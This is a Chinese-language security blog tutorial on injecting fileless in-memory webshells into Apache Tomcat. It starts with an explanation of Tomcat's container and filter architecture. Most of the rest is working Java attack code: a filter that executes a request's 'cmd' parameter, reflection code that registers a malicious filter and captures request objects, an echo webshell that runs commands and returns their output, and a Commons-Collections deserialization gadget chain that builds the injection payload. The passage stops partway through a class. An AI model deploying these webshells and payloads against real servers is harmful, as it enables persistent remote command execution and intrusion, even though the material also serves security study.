javaTomcat内存马注入

[参考文章][https://www.cnblogs.com/nice0e3/p/14622879.html#0x01-tomcat%E6%9E%B6%E6%9E%84%E5%88%86%E6%9E%90]

[参考文章2][https://goodapple.top/archives/1355]

Tomcat架构分析

宏观上的分析网上都有,这里贴一些写的比较详细的。

Server

img

img

img

  • Server:
    Server,即指的WEB服务器,一个Server包括多个Service。

  • Service:

    Service的作用是在ConnectorEngine外面包了一层(可看上图),把它们组装在一起,对外提供服务。一个Service可以包含多个Connector,但是只能包含一个Engine,其中Connector的作用是从客户端接收请求,Engine的作用是处理接收进来的请求。后面再来细节分析Service。

  • Connector:

    Tomcat有两个典型的Connector,一个直接侦听来自browser的http请求,一个侦听来自其它WebServer的请求Coyote Http/1.1 Connector 在端口8080处侦听来自客户browser的http请求
    Coyote JK2 Connector 在端口8009处侦听来自其它WebServer(Apache)的servlet/jsp代理请求。

  • Engine:

    Engine下可以配置多个虚拟主机,每个虚拟主机都有一个域名当Engine获得一个请求时,它把该请求匹配到某个Host上,然后把该请求交给该Host来处理Engine有一个默认虚拟主机,当请求无法匹配到任何一个Host上的时候,将交给该默认Host来处理。

  • Host:

    代表一个虚拟主机,每个虚拟主机和某个网络域名Domain Name相匹配
    每个虚拟主机下都可以部署(deploy)一个或者多个Web App,每个Web App对应于一个Context,有一个Context path,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理匹配的方法是“最长匹配”,所以一个path==””的Context将成为该Host的默认Context所有无法和其它Context的路径名匹配的请求都将最终和该默认Context匹配。

  • Context:

    一个Context对应于一个Web Application,一个WebApplication由一个或者多个Servlet组成
    Context在创建的时候将根据配置文件$CATALINA_HOME/conf/web.xml$WEBAPP_HOME/WEB-INF/web.xml载入Servlet类,当Context获得请求时,将在自己的映射表(mapping table)中寻找相匹配的Servlet类。如果找到,则执行该类,获得请求的回应,并返回。

下面来看详细说明:

Connector

Connector也被叫做连接器。Connector将在某个指定的端口上来监听客户的请求,把从socket传递过来的数据,封装成Request,传递给Engine来处理,并从Engine处获得响应并返回给客户端。

1
2
3
4
Engine:最顶层容器组件,其下可以包含多个 Host。
Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context
Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。
Wrapper:一个 Wrapper 代表一个 Servlet。

对照图:

img]

ProtocolHandler

Connector中,包含了多个组件,Connector使用ProtocolHandler处理器来处理请求。不同的ProtocolHandler代表不同连接类型。ProtocolHandler处理器可以用看作是协议处理统筹者,通过管理其他工作组件实现对请求的处理。ProtocolHandler包含了三个非常重要的组件,这三个组件分别是:

1
2
3
- Endpoint: 负责接受,处理socket网络连接
- Processor: 负责将从Endpoint接受的socket连接根据协议类型封装成request
- Adapter:负责将封装好的Request交给Container进行处理,解析为可供Container调用的继承了 ServletRequest接口、ServletResponse接口的对象。

请求经Connector处理完毕后,传递给Container进行处理。

Container

Container容器则是负责封装和管理Servlet 处理用户的servlet请求,并返回对象给web用户的模块。

img

Container 处理请求,内部是使用Pipeline-Value管道来处理的,每个 Pipeline 都有特定的 Value(BaseValue)BaseValue 会在最后执行。上层容器的BaseValue 会调用下层容器的管道,FilterChain 其实就是这种模式,FilterChain相当于 Pipeline,每个 Filter 相当于一个 Value。4 个容器的BaseValve 分别是StandardEngineValveStandardHostValveStandardContextValve 和StandardWrapperValve。每个Pipeline 都有特定的Value ,而且是在管道的最后一个执行,这个Valve 叫BaseValveBaseValve 是不可删除的

img

img

img

这三张图其实就很好的解释了他的一个执行流程,看到最后一张图,在wrapper-Pipline执行完成后会去创建一个FilterChain对象也就是我们的过滤链。这里来解释一下过滤链。

过滤链:在一个 Web 应用程序中可以注册多个 Filter 程序,每个 Filter 程序都可以针对某一个 URL 进行拦截。如果多个 Filter 程序都对同一个 URL 进行拦截,那么这些 Filter 就会组成一个Filter 链(也称
过滤器链)。

img

如果做过Java web开发的话,不难发现在配置Filter 的时候,假设执行完了就会来到下一个Filter 里面,如果都FilterChain.doFilter进行放行的话,那么这时候才会执行servlet内容。原理如上。

整体的执行流程,如下图:

img

1
2
3
4
5
6
7
8
9
10
11
Server :
- Service
-- Connector: 客户端接收请求
--- ProtocolHandler: 管理其他工作组件实现对请求的处理
---- Endpoint: 负责接受,处理socket网络连接
---- Processor: 负责将从Endpoint接受的socket连接根据协议类型封装成request
---- Adapter: 负责将封装好的Request交给Container进行处理,解析为可供Container调用的继承了ServletRequest接口、ServletResponse接口的对象。
--- Container: 负责封装和管理Servlet 处理用户的servlet请求,并返回对象给web用户的模块
-- Engine:处理接收进来的请求
--- Host: 虚拟主机
--- Context: 相当于一个web应用

Tomcat 与 Servlet 的关系

参考链接:https://www.freebuf.com/articles/system/151433.html

Tomcat 是 Web 应用服务器,是一个 Servlet/JSP 容器,Tomcat 作为 Servlet 的容器,能够将用户的请求发送给 Servlet,并且将 Servlet 的响应返回给用户,Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrapper

  1. Engine,实现类为 org.apache.catalina.core.StandardEngine
  2. Host,实现类为org.apache.catalina.core.StandardHost
  3. Context,实现类为 org.apache.catalina.core.StandardContext
  4. Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

每个Wrapper实例表示一个具体的Servlet定义,StandardWrapper是Wrapper接口的标准实现类(StandardWrapper 的主要任务就是载入Servlet类并且进行实例化)

Tomcat内存马分类

Tomcat内存马大致可以分为三类,分别是Listener型、Filter型、Servlet型。其实就是针对Java Web核心的三大组件,也可以说是针对tomcat在实例化过程中每个阶段的操作。tomcat实例化中执行的顺序是Listener->Filter->Servlet

Filter型

Filter调用链

在Servlet容器中,Filter的调用是通过FilterChain实现的

img

实现一个简单的demoFilter,看一下tomcat内部是如何实现filter的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.example.tomcat_webshell.shell;


import javax.servlet.*;
import java.io.IOException;

public class DemoFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filter init");
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}

@Override
public void destroy() {

}
}

rg.apache.catalina.core.ApplicationFilterChaininternalDoFilter下断点。我们可以先看一下整体的调用栈。先是在StandardContextValve类中获取到了整体的Wrapper。

在这里插入图片描述

然后到StandardWrapperValve这个类中创建了filterChin。利用这个调用filterChain.doFilter(request.getRequest(), response.getResponse());doFilter函数

在这里插入图片描述

通过doFilter函数又会调用到internalDoFilter函数,也就是我们下端点的地方,跟进internalDoFilter函数

在这里插入图片描述

这里通过filterConfig.getFilter()获取到filter,然后调用它的doFilter方法来到我们配置的filter.doFilter方法中。

在这里插入图片描述

但是到这里还有一个filterConfig并没有看明白怎么构造的。回到前面org.apache.catalina.core.StandardWrapperValve#invoke这个方法中创建了filterChain,跟进ApplicationFilterFactory.createFilterChain方法查看。

利用context和获取到了filterMaps,并且可以看到context里面是包含了filterDonfigs,filterDefs,filterMaps的。

在这里插入图片描述

filterConfigs

其中filterConfigs包含了当前的上下文信息StandardContext、以及filterDef等信息

其中filterDef存放了filter的定义,包括filterClass、filterName等信息。对应的其实就是web.xml中的<filter>标签。

在这里插入图片描述

在这里插入图片描述

filterDefs
1
filterDefs`是一个HashMap,以键值对的形式存储filterDef

在这里插入图片描述

filterMaps

filterMaps中以array的形式存放各filter的路径映射信息,其对应的是web.xml中的<filter-mapping>标签

filterMaps必要的属性为dispatcherMappingfilterNameurlPatterns

在这里插入图片描述

再到后面,遍历StandardContext.filterMaps得到filter与URL的映射关系并通过matchDispatcher()matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例,当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象中。

在这里插入图片描述

动态注册Filter

经过上面的分析,我们可以总结出动态添加恶意Filter的思路

  1. 获取StandardContext对象
  2. 创建恶意Filter
  3. 使用FilterDef对Filter进行封装,并添加必要的属性
  4. 创建filterMap类,并将路径和Filtername绑定,然后将其添加到filterMaps中
  5. 使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中

获取StandardContext对象

在已有request的情况下

1
2
3
4
5
6
7
8
9
ServletContext servletContext  = req.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

首先用ServletContext servletContext = req.getSession().getServletContext();获取到ApplicationContextFacade

在这里插入图片描述

这个类的context变量为ApplicationContext

在这里插入图片描述

然后用反射获取到context变量,而在ApplicationContext类中的context又是StandardContext类,再用一次反射就能获取到StandardContext对象了

在这里插入图片描述

而在StandardContext对象就放着我们需要操作的filter一系列对象了。

在这里插入图片描述

利用StandardContext添加恶意filter

实现完第一步获取StandardContext类,后面就是可以注册我们的恶意filter了。注册恶意filter大致又分为这几步

  1. 创建恶意Filter
  2. 使用FilterDef对Filter进行封装,并添加必要的属性
  3. 创建filterMap类,并将路径和Filtername绑定,然后将其添加到filterMaps中
  4. 使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中

创建filter就不说了,就是实例化一个类,同时这个类得实现Filter那些接口。下面看看代码,不过也是网上都有的。

关于实现实例化filterDef

1
2
3
4
5
6
String name = "ShellFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

创建filterMap类,使用addFilterMapBefore确保我们的而已filter在第一个,不然无法成功使用

1
2
3
4
5
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

添加到filterConfigs

1
2
3
4
5
6
7
8
java.lang.reflect.Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
java.util.Map filterConfigs = (java.util.Map) Configs.get(standardContext);

java.lang.reflect.Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(org.apache.catalina.Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);

到这里就能已经可以实现注册一个恶意filter了。但是这是在我们拥有request对象的情况下实现的,一般来讲无文件落地内存马还需要自己获取request对象,下面再看看怎么获取request对象。

获取request对象

利用ThreadLocal Response回显

这是kingkk师傅的思路,也是很通用的方法。这种方法可以兼容tomcat 789,但在Tomcat 6下无法使用。

首先要注意的是,我们寻找的request对象应该是一个和当前线程ThreadLocal有关的对象,而不是一个全局变量。这样才能获取到当前线程的相关信息。最终我们能够在org.apache.catalina.core.ApplicationFilterChain类中找到这样两个变量*lastServicedRequestlastServicedResponse*。并且这两个属性还是静态的,我们获取时无需实例化对象。

其实在调试的时候你也会发现在ApplicationFilterChain类的internalDoFilter方法中有这样一段代码。这里很明显的当ApplicationDispatcher.WRAP_SAME_OBJECT是true的时候就调用lastServicedRequest.set(request)保存当前线程的request对象。所以如果我们通过反射修改这里的WRAP_SAME_OBJECT值,下次再请求的时候是不是就可以直接从lastServicedRequest中获取到request对象。

在这里插入图片描述

所以获取request的思路就是

  1. 反射修改ApplicationDispatcher.WRAP_SAME_OBJECT的值,通过ThreadLocal#set方法将request和response对象存储到变量中
  2. 初始化lastServicedRequestlastServicedResponse两个变量,默认为null
  3. 通过ThreadLocal#get方法将request和response对象从*lastServicedRequestlastServicedResponse*中取出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//反射获取所需属性
java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");

java.lang.reflect.Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
java.lang.reflect.Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

//使用modifiersField反射修改final型变量
java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

//将变量WRAP_SAME_OBJECT_FIELD设置为true,并初始化lastServicedRequest和lastServicedResponse变量
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) {
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
}

if (lastServicedRequestField.get(null) == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
}

if (lastServicedResponseField.get(null) == null) {
lastServicedResponseField.set(null, new ThreadLocal<>());
}


//获取response变量
if (lastServicedResponseField.get(null) != null) {
ThreadLocal threadLocal = (ThreadLocal) lastServicedResponseField.get(null);
ServletResponse servletResponse = (ServletResponse) threadLocal.get();
PrintWriter writer = servletResponse.getWriter();
writer.write("Inject ThreadLocal Successfully!");
writer.flush();
writer.close();
}

但是这种方法也有局限性。例如在Shiro不能用该方法获取Response,因为rememberMe的实现使用了自己实现的filter。request、response的设置是在漏洞触发点之后。

从ContextClassLoader获取(只可用于Tomcat 8 9)

这是Litch1师傅的思路,学长tql。

由于Tomcat处理请求的线程中,存在ContextLoader对象,而这个对象又保存了StandardContext对象,所以很方便就获取了。获取到了StandardContext就可以通过StrandContext获取到Resquest、Response对象。 具体的调用链如下。

1
StandardContext-->ApplicationContext--->StandardService----->Connector----->Http11NioProtocol----->AbstractProtocol$ConnectoinHandler#process()------->this.global-------->RequestInfo------->Request-------->Response

img

首先就是得获取到StandardContext,这里得先了解tomcat类加载机制

Tomcat的类加载机制

众所周知,Tomcat使用的并不是传统的类加载机制,我们来看下面的例子

我们知道,Tomcat中的一个个Webapp就是一个个Web应用,如果WebAPP A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2。这样在加载的时候由于全限定名相同,因此不能同时加载,所以必须对各个Webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离。

Tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个定制的ClassLoader就是WebappClassLoader

那么我们又如何将原有的父加载器和WebappClassLoader联系起来呢?这里Tomcat使用的机制是线程上下文类加载器Thread ContextClassLoader。

Thread类中有getContextClassLoader()setContextClassLoader(ClassLoader cl)方法用来获取和设置上下文类加载器。如果没有setContextClassLoader(ClassLoader cl)方法通过设置类加载器,那么线程将继承父线程的上下文类加载器,如果在应用程序的全局范围内都没有设置的话,那么这个上下文类加载器默认就是应用程序类加载器。对于Tomcat来说ContextClassLoader被设置为WebAppClassLoader(在一些框架中可能是继承了public abstract WebappClassLoaderBase的其他Loader)。

因此WebappClassLoaderBase就是我们寻找的Thread和Tomcat 运行上下文的联系之一。

在调试中我们发现当前classloader为org.apache.catalina.loader.PrallelWebappClassLoader,继承自WebappClassLoaderBase

在这里插入图片描述

然后就可以通过webappClassLoaderBase.getResources().getContext();获取StandardContext

在这里插入图片描述

然后获取ApplicationContext和StandardService都比较一致,主要看看后面从connector开始获取到request的流程。

从哪找到request对象的

首先我们需要明白我们最终是从哪找到request对象的,最初能够从AbstractProcessor中很明显看到全局变量request。

在这里插入图片描述

而在Http11Processor#service中将全局的request进行了注册。而Http11Processor继承了AbstractProcessor类,这里的response对象正是AbstractProcessor类中的属性,因此我们如果能获取到Http11Processor类,就能获取到response对象。

在这里插入图片描述

而这些Processor的信息都被放到哪了呢。其实在AbstractProtocol的内部类ConnectionHandler#register方法中,将processor的信息存储在了属性global中。所以我们最终获取到this.global就可以从中拿到request对象了。

在这里插入图片描述

关于connector

Tomcat在启动时会通过StandardService创建Connector,并且在addconnector中将connector属性放在connectors中。而在下方可以看到connector类中有着关于protocolHandler的相关操作,并且该类继承了AbstractProtocol类。所以如果这里我们就可以通过connector获取到AbstractProtocol类,然后获取到AbstractProtocol类中的ConnectionHandler类从而获取到this.global

在这里插入图片描述

最终的恶意代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
package com.example.tomcat_webshell.shell;

import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.net.AbstractEndpoint.Handler;

public class Tomcat_Echo_inject_WebClassCloader extends HttpServlet {
static {
//获取StandardContext
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

System.out.println(standardContext);

try {
//获取ApplicationContext
Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(standardContext);

//获取StandardService
Field standardServiceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
standardServiceField.setAccessible(true);
StandardService standardService = (StandardService) standardServiceField.get(applicationContext);

//获取Connector
Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectorsField.setAccessible(true);
Connector[] connectors = (Connector[]) connectorsField.get(standardService);
Connector connector = connectors[0];

//获取Handler
ProtocolHandler protocolHandler = connector.getProtocolHandler();
Field handlerField = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler");
handlerField.setAccessible(true);
Handler handler = (Handler) handlerField.get(protocolHandler);

//获取内部类AbstractProtocol$ConnectionHandler的global属性
Field globalHandler = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalHandler.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalHandler.get(handler);

//获取processors
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global);

//获取request和response
Field requestField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
requestField.setAccessible(true);
for (RequestInfo requestInfo : requestInfoList){

//获取org.apache.coyote.Request
org.apache.coyote.Request request = (org.apache.coyote.Request) requestField.get(requestInfo);

//通过org.apache.coyote.Request的Notes属性获取继承HttpServletRequest的org.apache.catalina.connector.Request
org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
org.apache.catalina.connector.Response http_response = http_request.getResponse();

PrintWriter writer = http_response.getWriter();
String cmd = http_request.getParameter("exp");

InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
}


} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}

内存马攻击实现

因为打内存马一般需要有执行任意字节码的条件,所以我在本地就用cc的依赖来打了。

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

关于server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package com.example.tomcat_webshell;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.util.Base64;


public class CCServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// InputStream inputStream = (InputStream) req;
// ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
// try {
// objectInputStream.readObject();
// } catch (ClassNotFoundException e) {
// e.printStackTrace();
// }
resp.getWriter().write("Success");
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
byte[] bytes = Base64.getDecoder().decode(cmd);
ByteArrayInputStream bin =new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(bin);
try {
objectInputStream.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
resp.getWriter().write("Success");
}
}

exp生成payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package com.example.tomcat_webshell.shell;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class test3 {
public static void main(String[] args) throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(Tomcat_Echo_inject_Filter_cloader.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "1");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
InstantiateFactory instantiateFactory;
instantiateFactory = new InstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class,new Class[]{javax.xml.transform.Templates.class},new Object[]{obj});

FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
ConstantTransformer constantTransformer = new ConstantTransformer(1);
Map innerMap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap, constantTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
setFieldValue(outerMap,"factory",factoryTransformer);
outerMap.remove("keykey");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(expMap);
objectOutputStream.close();
byte[] payload = byteArrayOutputStream.toByteArray();
System.out.println(new String(Base64.getEncoder().encode(payload)));

// ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
// ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
// ois.readObject();
// ois.close();

}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

利用ThreadLocal

如果利用ThreadLocal来种马,则需要执行两次字节码一次为设置request对象,另一次通过request对象获取StandardContext来注册恶意filter。

第一次执行的字节码源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package com.example.tomcat_webshell.shell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.coyote.AbstractProcessor;

//import javax.annotation.processing.AbstractProcessor;
import javax.servlet.ServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.loader.WebappClassLoader;
import org.apache.catalina.loader.ParallelWebappClassLoader;
import org.apache.coyote.http11.Http11Processor;

public class Tomcat_Echo_inject_ThreadLocal extends AbstractTranslet {
static {
try {
//反射获取所需属性
java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");

java.lang.reflect.Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
java.lang.reflect.Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

//使用modifiersField反射修改final型变量
java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

//将变量WRAP_SAME_OBJECT_FIELD设置为true,并初始化lastServicedRequest和lastServicedResponse变量
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) {
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
}

if (lastServicedRequestField.get(null) == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
}

if (lastServicedResponseField.get(null) == null) {
lastServicedResponseField.set(null, new ThreadLocal<>());
}


//获取response变量
if (lastServicedResponseField.get(null) != null) {
ThreadLocal threadLocal = (ThreadLocal) lastServicedResponseField.get(null);
ServletResponse servletResponse = (ServletResponse) threadLocal.get();
PrintWriter writer = servletResponse.getWriter();
writer.write("Inject ThreadLocal Successfully!");
writer.flush();
writer.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}


@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

需要发送两次第二次才会打印成功

在这里插入图片描述

然后注册恶意filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
package com.example.tomcat_webshell.shell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.*;
import org.apache.coyote.AbstractProtocol;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import org.apache.catalina.core.StandardService;
public class Tomcat_Echo_inject_Filter extends AbstractTranslet implements Filter {
static {
try {
ServletContext servletContext = getServletContext();
java.lang.reflect.Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);

ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
java.lang.reflect.Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);


